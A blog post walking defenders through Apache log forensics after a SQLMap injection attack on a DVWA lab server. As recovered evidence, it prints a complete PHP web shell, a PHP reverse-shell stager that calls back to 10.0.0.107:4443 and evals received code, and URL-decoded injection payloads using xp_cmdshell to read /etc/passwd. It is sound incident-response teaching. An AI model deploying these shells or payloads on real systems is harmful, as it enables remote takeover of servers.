Tuesday, July 7, 2020

Continuing SQL Injection with SQLMap - Detection via logs

In the previous post, we learned how to use SQLMap to perform SQL injection attacks. While it was cool that we were able to perform the attack, an important takeaway for us as defenders is being able to detect this activity. 

Let's paint a scenario. 

As the security lead, you got a mail from your web server administrator, stating that she believes the web server has been compromised. Why does she think so? She thinks so because the server is "acting weird". Because of the concern, she took a copy of the logs, the full packet capture and a memory dump to send them to you for analysis. In this post, we look at the logs. In the next post we look at the packets with TShark.

Specifically she gives you a '.zip' file with the data as. You first confirm the file type using the file command:
kali@securtynik:~$ file potentialCompromise.zip 
potentialCompromise.zip: Zip archive data, at least v2.0 to extract

Looking into the file for the contents you see among those Apache logs, pcaps and a memory dump.

kali@securtynik:~$ unzip -v potentialCompromise.zip
Archive:  potentialCompromise.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
  496733  Defl:N    13740  97% 2020-06-24 15:06 aab2aec8  Suspect-Compromise/access.log
   14655  Defl:N     1908  87% 2020-06-24 15:07 a76dafdd  Suspect-Compromise/error.log
       6  Stored        6   0% 2020-06-24 15:07 fc43e46d  Suspect-Compromise/httpd.pid
    3146  Defl:N      463  85% 2017-11-03 06:31 077f3d81  Suspect-Compromise/install.log
2147020800  Defl:N 751465144  65% 2020-06-24 17:30 ae34204c  Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp
    1512  Defl:N      659  56% 2020-06-24 17:30 a0ade79d  Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json
       0  Stored        0   0% 2018-02-05 02:39 00000000  Suspect-Compromise/ssl_request.log
17331848  Defl:N  3975773  77% 2020-06-24 17:34 31c2913b  Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng
--------          -------  ---                            -------
2164868700         755457693  65%                            8 files

You then extract the files into a folder named "potentialCompromise"

kali@securtynik:~$ unzip -d ./potentialCompromise potentialCompromise.zip
Archive:  potentialCompromise.zip
  inflating: ./potentialCompromise/Suspect-Compromise/access.log  
  inflating: ./potentialCompromise/Suspect-Compromise/error.log  
 extracting: ./potentialCompromise/Suspect-Compromise/httpd.pid  
  inflating: ./potentialCompromise/Suspect-Compromise/install.log  
  inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.dmp  
  inflating: ./potentialCompromise/Suspect-Compromise/SECURITYNIK-WIN-20200624-212705.json  
 extracting: ./potentialCompromise/Suspect-Compromise/ssl_request.log  
  inflating: ./potentialCompromise/Suspect-Compromise/wireshark_9379FBF3-1886-44B4-92A2-EA9FB4071316_20200624150819_a05412.pcapng 

Out of curiosity, you decided to first look at the "httpd.pid" file. This is just to understand the process ID the web server software was using at that point in time. 

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat httpd.pid 
5392

Looking at the error.log, we see below there are 63 lines. 
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | wc --lines
63

Continuing with the "error.log", let's see what clients might have been found in this file. Leveraging some command line kung fu, we see there are 50 IPs being reported in the "error.log" file.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | wc --lines
50

While we know we have 50 IPs, how many of these IPs are unique? Let's find this out by modifying the command above to now extract the IP addresses.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep --perl-regexp "\[client\s+\d+\.\d+\.\d+\.\d+\:.*?\]" --color=always --only-matching | cut --fields 2 --delimiter " " | awk --field-separator ":" '{ print $1 }' | sort | uniq --count | sort --numeric --reverse
     50 10.0.0.107
      2 127.0.0.1
      1 10.0.0.108

Interesting, it seems the host at IP address "10.0.0.107" was responsible for most of the interactions with this server. We know from above also that "127.0.0.1" represents the "localhost". Our administrator told us that the suspected compromise device had an IP address of "10.0.0.108". We can now focus our attention to the errors as which are associated with IP address "10.0.0.107".

As we look through the logs, we see a number messages reporting:

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error"
[Wed Jun 24 15:52:33.453519 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46864] script 'C:/xampp/htdocs/xampp/tmpucfol.php' not found or unable to stat
[Wed Jun 24 15:52:33.547367 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46866] script 'C:/xampp/htdocs/tmpucfol.php' not found or unable to stat
.....
[Wed Jun 24 15:52:35.422342 2020] [php7:error] [pid 5108:tid 1932] [client 10.0.0.107:46942] script 'C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php' not found or unable to stat
[Wed Jun 24 15:52:35.516019 2020] [php7:error] [pid 5108:tid 1940] [client 10.0.0.107:46948] script 'C:/xampp/htdocs/tmpugbqx.php' not found or unable to stat
.....

The messages above looks interesting. Let's see if we can figure out the files names which are involved. 
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat error.log | grep "10.0.0.107" | grep "error" | grep --perl-regexp "C:\/.*?\'" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse
      1 C:/xampp/htdocs/xampp/tmpucpje.php'
      1 C:/xampp/htdocs/xampp/tmpucfol.php'
      1 C:/xampp/htdocs/tmpusbtm.php'
      1 C:/xampp/htdocs/tmpupivc.php'
      1 C:/xampp/htdocs/tmpupdqm.php'
      1 C:/xampp/htdocs/tmpukwkd.php'
      1 C:/xampp/htdocs/tmpugbqx.php'
      1 C:/xampp/htdocs/tmpucpje.php'
      1 C:/xampp/htdocs/tmpucfol.php'
      1 C:/xampp/htdocs/tmpuaivl.php'
      1 C:/xampp/htdocs/server.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpupdqm.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpukwkd.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpugbqx.php'
      1 C:/xampp/htdocs/DVWA/vulnerabilities/sqli/tmpuaivl.php'
kali@securtynik:~/potentialCompromise/Suspect-Compromise$ 

At this point, we are left to wonder what are all those filenames. So we reach out to our Administrator and ask her if those files exists on the impacted system.

Looking in the "c:\xampp\htdocs\" folders, she sees:

C:\>dir c:\xampp\htdocs\tmp*.php
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of c:\xampp\htdocs

06/23/2020  03:47 PM               866 tmpbaofx.php
06/23/2020  02:37 PM               866 tmpbbfgh.php
06/24/2020  01:49 PM               866 tmpbemfa.php
06/24/2020  03:52 PM               866 tmpbfkst.php
06/24/2020  03:52 PM               719 tmpuevkq.php
06/23/2020  03:47 PM               720 tmpugugb.php
06/24/2020  01:49 PM               719 tmpuozez.php
06/23/2020  02:37 PM               722 tmputuei.php
               8 File(s)          6,344 bytes
               0 Dir(s)   6,873,497,600 bytes free

While it is not shown, this behaviour is much the same when she looks into the other folders. We then ask her to use the "type" command to see the contents of one of the files. She then executes:

C:\>type c:\xampp\htdocs\tmpbaofx.php                                              
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c); \ $w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>    

Knowing neither this file nor its contents should be on the server, she then confirms that it is more than likely this system has been compromised. Additionally, while she may not be a PHP expert, she knows that looking and entries above such as "cmd", "system", "system", "popen", etc., it is more than likely the script is interacting with the file system. These files are now considered as artifacts of this incident and indicators of compromise (IoC).

Continuing with the log analysis, we now look at the "access.log", with a focus on the entries with the suspect IP address of "10.0.0.107". Let's now learn about the type of host the attacker might have used to connect to our system. The quickest way to get this insight is via the User agent string. While this can be helpful, note it can also be easily spoofed. However, we will still used this. Looking at a sample entry in the log file.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat --number access.log | more
     1  10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/login.php HTTP/1.1" 200 1523 "-" "Opera/9.80 (Windows NT 6.2;
 WOW64) Presto/2.12.388 Version/12.14"
     2  10.0.0.108 - - [24/Jun/2020:15:08:41 -0400] "GET /dvwa/dvwa/css/login.css HTTP/1.1" 200 842 "http://10.0.0.108/dvwa/
login.php" "Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.14"

From the log entry, it seems the user-agent is found as the last field. Extracting that information with once again some command line kung fu.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" 
......

Opera/9.23 (Windows NT 5.1; U; da)
Opera/9.23 (Windows NT 5.1; U; da)
Opera/9.23 (Windows NT 5.1; U; da)
-
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

At this point we should be wondering why all these different user agents for the same host. Let's see if there is anything more interesting going on here. Let's now break down the output even further, with the aim of making sense of these different user agents.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 6 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse
    702 sqlmap/1.4.6#stable (http://sqlmap.org)
    220 Opera/9.23 (Windows NT 5.1; U; da)
    154 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090213 Firefox/3.0.1b3pre
    153 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36
    153 Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1
    152 Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.18
    152 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10
    152 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10
    152 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3
    152 Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1
    152 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13
    152 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4
     30 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
      2 -

Wow! Lots of different User agents from the same host. This can be for different reasons. Maybe different applications accessing our environment. However, the one of concern for us is:
     
702 sqlmap/1.4.6#stable (http://sqlmap.org)

Let's see what else the threat actor at "10.0.0.107" might have done against our system. Specifically let's look at the HTTP methods.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" --color=always | cut --fields 2 --delimiter "\"" | sort | uniq --count | sort --numeric --reverse | more
2380 POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
      3 GET /tmpbfkst.php?cmd=help HTTP/1.1
      2 POST /tmpuevkq.php HTTP/1.1
      2 POST /dvwa/login.php HTTP/1.1
      2 GET /tmpuevkq.php HTTP/1.1
      2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1
      2 GET /server.php HTTP/1.1
      2 GET /dvwa/vulnerabilities/captcha/ HTTP/1.1
      2 GET /dvwa/setup.php HTTP/1.1
      2 GET /dvwa/security.php HTTP/1.1
      2 GET /dvwa/login.php HTTP/1.1
      2 -
      1 POST /dvwa/vulnerabilities/sqli/?ZYVv=8330%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?ydiY=9356%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?xCGT=7215%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?VxNq=1247%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?okRh=6965%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
      1 POST /dvwa/vulnerabilities/sqli/?NfIT=2391%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28
%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_
cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1
............

From the looks of above, it seems with a large number of entries in our "access.log" file pointing to "/dvwa/vulnerabilities/sqli/", it is quite possible there is a vulnerability at this location of the site.

Additionally, if we look we see 

3 GET /tmpbfkst.php?cmd=help HTTP/1.1
2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1

If we tie this back into our earlier analysis, we can conclude the files in question which we asked the Administrator to see if they exist, are used for executing commands.

Looking to see what some of the other lines represent, we then leverage a URL decoder. Upon conversion we see the following for the lines above.

1   POST/dvwa/vulnerabilities/sqli/?ZYVv=8330 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

1   POST/dvwa/vulnerabilities/sqli/?ydiY=9356 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

1   POST/dvwa/vulnerabilities/sqli/?xCGT=7215 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#HTTP/1.1

Looking to see what other actions the attacker might have performed, if we look at additional entries for which "cmd" is used, we see

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "cmd=" | awk --field-separator "\"" '{ print $2 }' | sort | uniq --count | sort --numeric --reverse
      3 GET /tmpbfkst.php?cmd=help HTTP/1.1
      2 GET /tmpbfkst.php?cmd=systeminfo HTTP/1.1
      1 GET /tmpbfkst.php?cmd=wmic%20useraccount HTTP/1.1
      1 GET /tmpbfkst.php?cmd=query HTTP/1.1
      1 GET /tmpbfkst.php?cmd=query%20user HTTP/1.1
      1 GET /tmpbfkst.php?cmd=HELP%20CMD HTTP/1.1
      1 GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd.exe%20%2Fc%20query%20user HTTP/1.1
      1 GET /tmpbfkst.php?cmd=cmd%20whoami HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD%20%2Fc%20%22query%20user%22 HTTP/1.1
      1 GET /tmpbfkst.php?cmd=CMD%20%22%2FC%20query%20user%22 HTTP/1.1

From above, we can see clearly some of the commands which were executed. Ultimately, to tidy this up more, feel free to dump the lines into a URL decoder.

If we step back for a second, we see a number of "404" errors before we see "200". It seems like some type of brute force mechanism was used to locate these files.

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep "tmp" | awk --field-separator "\"" '{ print $2 "\t" $3 }' 
GET /xampp/tmpucfol.php HTTP/1.1         404 1054 
GET /tmpucfol.php HTTP/1.1       404 1054 
GET /xampp/tmpucpje.php HTTP/1.1         404 1054 
GET /tmpucpje.php HTTP/1.1       404 1054 
GET /xampp/dvwa/vulnerabilities/sqli/tmpukwkd.php HTTP/1.1       404 1054 
......
GET /htdocs/tmpuevkq.php HTTP/1.1        404 1054 
GET /tmpuevkq.php HTTP/1.1       200 314 
POST /tmpuevkq.php HTTP/1.1      200 24 
GET /tmpbfkst.php?cmd=echo%20command%20execution%20test HTTP/1.1         200 36 
GET /tmpbfkst.php?cmd=help HTTP/1.1      200 5751 

As we go through the "GET" requests to painstakingly understand which files were requested versus which files we know should be there, we come up with a file named "server.php"

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep "10.0.0.107" | grep --perl-regexp "GET.*?\"" --color=always --only-matching | sort | uniq --count | sort --numeric --reverse | grep server 
      2 GET /server.php HTTP/1.1"

Expanding on the log entries where "server.php" was seen. 

kali@securtynik:~/potentialCompromise/Suspect-Compromise$ cat access.log | grep --perl-regexp "server.php"
10.0.0.107 - - [24/Jun/2020:17:01:17 -0400] "GET /server.php HTTP/1.1" 404 1054 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.0.0.107 - - [24/Jun/2020:17:07:11 -0400] "GET /server.php HTTP/1.1" 200 9 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

We see once again the "404" message for "server.php" then a "200" message. At this point it would be safe to conclude the attacker probably uploaded these files to the server as initially the file was not there, then it appeared. 

Asking the Administrator to provide some guidance on this file, she mentioned she doesn't know of it. When we read the contents of the file on the impacted server, we see:

C:\>dir c:\xampp\htdocs\server.php
 Volume in drive C has no label.
 Volume Serial Number is 6C10-15EA

 Directory of c:\xampp\htdocs

06/24/2020  05:01 PM             1,110 server.php
               1 File(s)          1,110 bytes
               0 Dir(s)   6,870,552,576 bytes free


C:\>type c:\xampp\htdocs\server.php
<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Above looks interesting as we see the IP address "10.0.0.107" and port "4443". This would be a good time to transition from our log analysis and begin looking at our packets.

At this point I believe we have gathered a fair amount of information based on our logs to conclude this host was truly pwn'd.

You should at this point along with any other analysis you continue to do, ensure you look at the timeline of when this activity started.

If you would like to learn more about log analysis, see my book Hack and Detect which can be found on Amazon.




No comments:

Post a Comment